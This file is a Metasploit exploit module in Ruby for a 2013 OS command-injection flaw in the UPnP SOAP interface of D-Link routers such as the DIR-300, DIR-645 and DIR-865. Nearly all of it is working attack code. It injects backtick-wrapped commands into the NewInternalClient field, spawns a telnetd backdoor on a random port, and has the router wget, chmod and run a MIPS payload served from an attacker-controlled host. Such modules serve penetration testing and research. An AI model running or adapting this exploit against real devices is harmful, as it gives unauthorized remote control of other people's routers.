##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::HttpServer
	include Msf::Exploit::EXE
	include Msf::Exploit::FileDropper
	include Msf::Auxiliary::CommandShell

	def initialize(info = {})
		super(update_info(info,
			'Name'        => 'D-Link Devices UPnP SOAP Command Execution',
			'Description' => %q{
				Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP
				interface. Since it is a blind OS command injection vulnerability, there is no
				output for the executed command when using the CMD target. Additionally, two targets
				are included, to start a telnetd service and establish a session over it, or deploy a
				native mipsel payload. This module has been tested successfully on DIR-300, DIR-600,
				DIR-645, DIR-845 and DIR-865. According to the vulnerability discoverer,
				more D-Link devices may affected.
			},
			'Author'      =>
				[
					'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
					'juan vazquez' # minor help with msf module
				],
			'License'     => MSF_LICENSE,
			'References'  =>
				[
					[ 'OSVDB', '94924' ],
					[ 'BID', '61005' ],
					[ 'EDB', '26664' ],
					[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ]
				],
			'DisclosureDate' => 'Jul 05 2013',
			'Privileged'     => true,
			'Platform'       => ['linux','unix'],
			'Payload'        =>
				{
					'DisableNops' => true,
				},
			'Targets'        =>
				[
					[ 'CMD',	#all devices
						{
						'Arch' => ARCH_CMD,
						'Platform' => 'unix'
						}
					],
					[ 'Telnet',	#all devices - default target
						{
						'Arch' => ARCH_CMD,
						'Platform' => 'unix'
						}
					],
					[ 'Linux mipsel Payload',	#DIR-865, DIR-645 and others with wget installed
						{
						'Arch' => ARCH_MIPSLE,
						'Platform' => 'linux'
						}
					],
				],
			'DefaultTarget'  => 1
			))

		register_options(
			[
				Opt::RPORT(49152),	#port of UPnP SOAP webinterface
				OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
				OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
				OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
			], self.class)
	end

	def exploit
		@new_portmapping_descr = rand_text_alpha(8)
		@new_external_port = rand(65535)
		@new_internal_port = rand(65535)

		if target.name =~ /CMD/
			exploit_cmd
		elsif target.name =~ /Telnet/
			exploit_telnet
		else
			exploit_mips
		end
	end

	def exploit_cmd
		if not (datastore['CMD'])
			fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
		end
		cmd = payload.encoded
		type = "add"
		res = request(cmd, type)
		if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
		end
		print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
		type = "delete"
		res = request(cmd, type)
		if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
		end
		return
	end

	def exploit_telnet
		telnetport = rand(65535)

		vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")

		cmd = "telnetd -p #{telnetport}"
		type = "add"
		res = request(cmd, type)
		if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
		end
		type = "delete"
		res = request(cmd, type)
		if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
		end

		begin
			sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })

			if sock
				print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")
				add_socket(sock)
			else
				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
			end

			print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}"
			auth_info = {
				:host   => rhost,
				:port   => telnetport,
				:sname => 'telnet',
				:user   => "",
				:pass	=> "",
				:source_type => "exploit",
				:active => true
			}
			report_auth_info(auth_info)
			merge_me = {
				'USERPASS_FILE' => nil,
				'USER_FILE'     => nil,
				'PASS_FILE'     => nil,
				'USERNAME'      => nil,
				'PASSWORD'      => nil
			}
			start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
		rescue
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
		end
		return
	end

	def exploit_mips

		downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))

		#thx to Juan for his awesome work on the mipsel elf support
		@pl = generate_payload_exe
		@elf_sent = false

		#
		# start our server
		#
		resource_uri = '/' + downfile

		if (datastore['DOWNHOST'])
			service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
		else
			#do not use SSL
			if datastore['SSL']
				ssl_restore = true
				datastore['SSL'] = false
			end

			#we use SRVHOST as download IP for the coming wget command.
			#SRVHOST needs a real IP address of our download host
			if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
				srv_host = Rex::Socket.source_address(rhost)
			else
				srv_host = datastore['SRVHOST']
			end

			service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri

			print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
			start_service({'Uri' => {
				'Proc' => Proc.new { |cli, req|
					on_request_uri(cli, req)
				},
				'Path' => resource_uri
			}})

			datastore['SSL'] = true if ssl_restore
		end

		#
		# download payload
		#
		print_status("#{rhost}:#{rport} - Asking the DLink device to take and execute #{service_url}")
		#this filename is used to store the payload on the device
		filename = rand_text_alpha_lower(8)

		cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}; chmod 777 /tmp/#{filename}; /tmp/#{filename}"
		type = "add"
		res = request(cmd, type)
		if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
		end

		# wait for payload download
		if (datastore['DOWNHOST'])
			print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the DLink device to download the payload")
			select(nil, nil, nil, datastore['HTTP_DELAY'])
		else
			wait_linux_payload
		end

		register_file_for_cleanup("/tmp/#{filename}")

		type = "delete"
		res = request(cmd, type)
		if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
		end
	end

	def request(cmd, type)

		uri = '/soap.cgi'

		data_cmd = "<?xml version=\"1.0\"?>"
		data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
		data_cmd << "<SOAP-ENV:Body>"

		if type == "add"
			vprint_status("#{rhost}:#{rport} - adding portmapping")

			soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"

			data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
			data_cmd << "<NewPortMappingDescription>#{@new_portmapping_descr}</NewPortMappingDescription>"
			data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
			data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>"
			data_cmd << "<NewEnabled>1</NewEnabled>"
			data_cmd << "<NewExternalPort>#{@new_external_port}</NewExternalPort>"
			data_cmd << "<NewRemoteHost></NewRemoteHost>"
			data_cmd << "<NewProtocol>TCP</NewProtocol>"
			data_cmd << "<NewInternalPort>#{@new_internal_port}</NewInternalPort>"
			data_cmd << "</m:AddPortMapping>"
		else
			#we should clean it up ... otherwise we are not able to exploit it multiple times
			vprint_status("#{rhost}:#{rport} - deleting portmapping")
			soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"

			data_cmd << "<m:DeletePortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
			data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{@new_external_port}</NewExternalPort><NewRemoteHost></NewRemoteHost>"
			data_cmd << "</m:DeletePortMapping>"
		end

		data_cmd << "</SOAP-ENV:Body>"
		data_cmd << "</SOAP-ENV:Envelope>"

		begin
			res = send_request_cgi({
				'uri'    => uri,
				'vars_get' => {
					'service' => 'WANIPConn1'
				},
				'ctype' => "text/xml",
				'method' => 'POST',
				'headers' => {
					'SOAPAction' => soapaction,
					},
				'data' => data_cmd
			})
		return res
		rescue ::Rex::ConnectionError
			vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
			return nil
		end
	end

	# Handle incoming requests from the server
	def on_request_uri(cli, request)
		#print_status("on_request_uri called: #{request.inspect}")
		if (not @pl)
			print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
			return
		end
		print_status("#{rhost}:#{rport} - Sending the payload to the server...")
		@elf_sent = true
		send_response(cli, @pl)
	end

	# wait for the data to be sent
	def wait_linux_payload
		print_status("#{rhost}:#{rport} - Waiting for the target to request the ELF payload...")

		waited = 0
		while (not @elf_sent)
			select(nil, nil, nil, 1)
			waited += 1
			if (waited > datastore['HTTP_DELAY'])
				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?")
			end
		end
	end
end